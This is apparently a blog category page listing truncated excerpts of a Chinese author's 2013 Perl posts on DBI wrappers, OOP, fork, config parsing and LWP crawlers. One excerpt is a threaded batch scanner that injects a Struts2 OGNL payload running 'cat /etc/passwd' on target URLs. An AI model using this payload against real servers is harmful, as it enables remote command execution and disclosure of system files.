随笔分类 -  Perl

摘要:今天测试查询数据的时候发现一个很奇异的问题,对着这个问题做了个研究。先看代码,具体如下:#!/usr/bin/perluse TDmodule;# create object$test=TDmodule->new();# connect db return config$config=$test->connect_db("3d_database","localhost","root","mojige123");# select for db return database$old=$test->s 阅读全文
posted @ 2013-07-21 12:55 墨迹哥's 阅读(399) 评论(0) 推荐(0)
摘要:package TDmodule;use DBI;sub new{ $self={}; $self->{select_db}=undef; $self->{delete_db}=undef; $self->{insert_db}=undef; $self->{update_db}=undef; bless $self; return $self;}sub connect_db{ my $self=shift; if(@_){ $self->{'connect_db'}=DBI->connect("DBI:mysql:database 阅读全文
posted @ 2013-07-20 23:28 墨迹哥's 阅读(448) 评论(0) 推荐(0)
摘要:优化了下程序,让它更加简单。。package TDmodule;use DBI;sub new{ $self={}; $self->{select_db}=undef; bless $self; return $self;}sub connect_db{ my $self=shift; if(@_){ $self->{'connect_db'}=DBI->connect("DBI:mysql:database=@_[0];host=@_[1]","@_[2]","@_[3]") or die &quo 阅读全文
posted @ 2013-07-20 22:53 墨迹哥's 阅读(208) 评论(0) 推荐(0)
摘要:经过zhong8解释,终于理解了。小试牛刀,写了个简化的数据库链接。package TDmodule;use DBI;sub new{ $self={}; $self->{username}=undef; $self->{password}=undef; $self->{host}=undef; $self->{database}=undef; $self->{connect_db}=[]; $self->{select_db}=undef; bless $self; return $self;}sub username{ my $self=shift; i 阅读全文
posted @ 2013-07-20 22:41 墨迹哥's 阅读(287) 评论(0) 推荐(0)
摘要:写得好纠结,目前不知道哪里有问题,还在研究。。package TDmodule;use DBI;sub new{ $self={}; $self->{username}=undef; $self->{password}=undef; $self->{host}=undef; $self->{database}=undef; $self->{connect_db}=[]; $self->{select_db}=undef; bless $self; return $self;}sub username{ my $self=shift; if(@_){ $sel 阅读全文
posted @ 2013-07-20 17:51 墨迹哥's 阅读(326) 评论(0) 推荐(0)
摘要:发现有个蛋疼的事情,还是没了解透。记录下已经研究出来的。package Person;use strict;sub new{ my $self = {}; $self->{name} =undef; $self->{age}=undef; bless($self); return $self;}sub name{ my $self=shift; if(@_){$self->{name}=shift}; return $self->{name};}sub age{ my $self=shift; if(@_){$self->{age}=shift}; return 阅读全文
posted @ 2013-07-20 14:17 墨迹哥's 阅读(263) 评论(0) 推荐(0)
摘要:周末在家没事干,突然想写算3d号码的计算器。但是没写完,因为有事情要忙。。先记录下,下午出去回来继续改。#!/usr/bin/perluse DBI;# 生成随机数字0-999$num=int(rand(999));# 查找已经出过奖的数字# 这个是已出过的中奖号码$old=read_db("select * from old_papar");# 这个是自己买的,且没中过的号码#$user=read_db("select * from new_papar");# 创建两个个哈希表%old_number=();%user_number=();print $ 阅读全文
posted @ 2013-07-20 13:59 墨迹哥's 阅读(208) 评论(0) 推荐(0)
摘要:手贱写了个批量测试的。。昨天要测几个东西。。#!/usr/bin/perluse HTTP::Request;use LWP::UserAgent;use threads;use Thread::Semaphore;use Socket;while(){ Webscan($_);}sub Webscan{ local($scan_url)=shift; $tmp=$scan_url .'?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/pa 阅读全文
posted @ 2013-07-18 09:44 墨迹哥's 阅读(185) 评论(0) 推荐(0)
摘要:欢迎给我更多的建议和指点。谢谢。。QQ:505575655 Email:tangyucong@163.com这个子平台的介绍:主要组成的部分有Bootstrap为前端,PHP为后端,Perl作为底层的小工具在定时任务当中跑。(后续可能会改变,例如改成可以不需要crontab就能实现定时计划)数据库采用的是mysql的数据库。当然你可以改成你喜欢的oracle,我并不反对,但是在Perl代码上需要进行部分的修改。(你也可以写成oracle版本的,不反对 ^+^)在PHP代码当中肯定有很多漏洞,那是因为我根本没做任何过滤。目前的阶段属于先实现功能再考虑别的问题,请你谅解。代码完全是code-php 阅读全文
posted @ 2013-07-08 14:12 墨迹哥's 阅读(319) 评论(0) 推荐(0)
摘要:今天因为做到系统里面的一个功能,需要用到终止的过程,所以用到Fork的使用。公司里一大牛被我问烦了,甩了一句:“你懂不懂写代码?你到底懂不懂啊!”一瞬间不知道怎么说话了,对进行这块研究的真心不深入,所以虚心问了下,换了这结果。心里挺不是滋味,后续上Q问了下其它哥们,用得也不多,所以知道的也很有限,所以我只能发帖了。感谢CU上的laputa73 童鞋给我解答该疑惑,终于搞明白了。对此MARK一下,方便以后使用。#!/usr/bin/perl -wmy $pid = fork();if (!defined($pid)) { print "Error in fork: $!"; 阅读全文
posted @ 2013-06-04 19:47 墨迹哥's 阅读(287) 评论(0) 推荐(0)
摘要:原本的那个CONFIG模块不太好用,读取指定项目位置倒是还可以,但是如果一旦数量多了以后就不好使用了。在CPAN上找到了一个比较实用的模块,稍微摸索了一下就知道怎么实用了。给段示例代码,方便以后翻查学习。#!/usr/bin/perluse Config::Abstract::Ini;use strict;my $file = $ARGV[0];my $settings = new Config::Abstract::Ini($file);# 获取所有的项目my %allsettings = $settings->get_all_settings;# 获取指定类型项目my %entry 阅读全文
posted @ 2013-06-04 11:17 墨迹哥's 阅读(342) 评论(0) 推荐(0)
摘要:下面的代码目前只实现了抓取首页,后面会改下,要求抓2级到3级页面。 #!/usr/bin/perluse HTML::LinkExtor;use LWP::Simple;sub sparit{ local($base_url)= shift; # 抓取URL $parser = HTML::LinkExtor->new(undef,$base_url); $parser->parse(get($base_url))->eof; @links = $parser->links; foreach $linkarray (@links){ my @element = @$li 阅读全文
posted @ 2013-06-02 16:31 墨迹哥's 阅读(289) 评论(0) 推荐(0)
摘要:今天看了下当年云舒写的代码,发现一个很陌生的东西,基本上没见过。gg了一下,了解了该模块是一个大数据处理的模块,简单的来说,该模块的作用是,用于比较数据是否存在在已知列表中。对于我来说这模块甚至有点难以理解,对此搜索了下前人写的案例进行分析。把代码整理了下,写了下注释方便以后翻查。#!/usr/bin/perluse Bloom::Filter;# capacity:设置容器的大小# error_rate:容错的数量my $bf=Bloom::Filter->new(capacity => 10,error_rate => .001);# 被对比的列表my @keys=qw/ 阅读全文
posted @ 2013-06-02 16:28 墨迹哥's 阅读(214) 评论(0) 推荐(0)
摘要:目前在做Perl页面爬虫的模块,发现一些代码,做个详细的分析,把好的引用一下给自己用用。 1 #!/usr/bin/perl -w 2 3 use strict; 4 5 use HTTP::Request; 6 use HTTP::Status; 7 use HTML::LinkExtor; 8 use URI::URL; 9 use LWP::UserAgent; 10 #use Digest::MD5 qw(md5_hex); 11 12 13 use Compress::Zlib; 14 15 ###################... 阅读全文
posted @ 2013-05-15 16:02 墨迹哥's 阅读(402) 评论(0) 推荐(0)
摘要:具体的请根据个人需要修改代码。 #!/usr/local/bin/perl5 use warnings; use strict; use Fcntl; use Term::Cap; use Parallel::ForkManager; #============================== # for terminal control #============================== my $termios = new POSIX::Termios; my $terminal = Term::Cap->Tge... 阅读全文
posted @ 2013-05-11 00:39 墨迹哥's 阅读(443) 评论(0) 推荐(0)
摘要:在安装Tk的过程当中各种错误,让人无比的蛋疼。记录下过程,方便以后回顾学习。第一个错误: Going to read '/root/.cpan/Metadata' Database was generated on Thu, 09 May 2013 04:17:04 GMT Running install for module 'Tk' Running make for S/SR/SREZIC/Tk-804.030.tar.gz Checksum for /root/.cpan/sources/authors/id/S/SR/SREZIC/Tk-804.030. 阅读全文
posted @ 2013-05-09 17:02 墨迹哥's 阅读(851) 评论(0) 推荐(0)
摘要:分析了下代码,之前官方那段其实很简单,只要理解了,就能随意改动了。根据自己的想法,目前想做的是全方位爬虫,并不是类似如此简单的爬,简单的整理了下这个单例的抓URL。效果一般般,这几天忙完事情,我就改成多线程。把URL的深度选项加入,以及可定向操作级别。这东西是我一直在思考的东西,也是我的一个想法。把单例的例子保存下,方便以后翻。#!/usr/bin/perluse LWP::UserAgent;use HTML::LinkExtor;use URI::URL;@imgs=();test("http://www.baidu.com/s?wd=dd");sub test{ lo 阅读全文
posted @ 2013-05-08 17:17 墨迹哥's 阅读(261) 评论(0) 推荐(0)
摘要:其实这就是在LWP模块上。那天在论坛提了一下,因为没有思路。现在找到解决问题的模块,就把案例代码贴出来。这个也是一个很重要的东西。后面会添加到模块里面去。#!/usr/bin/perluse LWP::Simple;$url="http://www.163.com";$doc=+(head $url)[-1];print "$doc\n";执行结果:root@smart:~# perl test.pl nginx 阅读全文
posted @ 2013-05-07 20:10 墨迹哥's 阅读(182) 评论(0) 推荐(0)
摘要:这代码还没来的急分析,这几天忙一些事情,先mark下官方的代码,等忙完这几天我就好好看看!#!/usr/bin/perluse LWP::UserAgent;use HTML::LinkExtor;use URI::URL;$url = "http://www.163.com"; # for instance$ua = LWP::UserAgent->new; # Set up a callback that collect image linksmy @imgs = ();sub callback { my($tag, %attr) = @_; return if 阅读全文
posted @ 2013-05-06 00:07 墨迹哥's 阅读(222) 评论(0) 推荐(0)
摘要:之前写的,现在用不上了。这个版本的报告比较不好看。。。所以现在不用了。但是代码上还是挺有价值的。可以用来学习下,在这放出来,让想了解的人了解下。目前我使用的生成报告方式是一个HTML的模板。插入数据到HTML里面。这个相对就有点你懂的。。#!/usr/bin/perluse threads; use threads::shared; #用于线程当中共享变量use Thread::Semaphore; #这个是线程信号量控制使用的包share(@ok_list);$task_domain='www.sohu.com';#check_return_array("@tool 阅读全文
posted @ 2013-05-03 23:58 墨迹哥's 阅读(413) 评论(0) 推荐(0)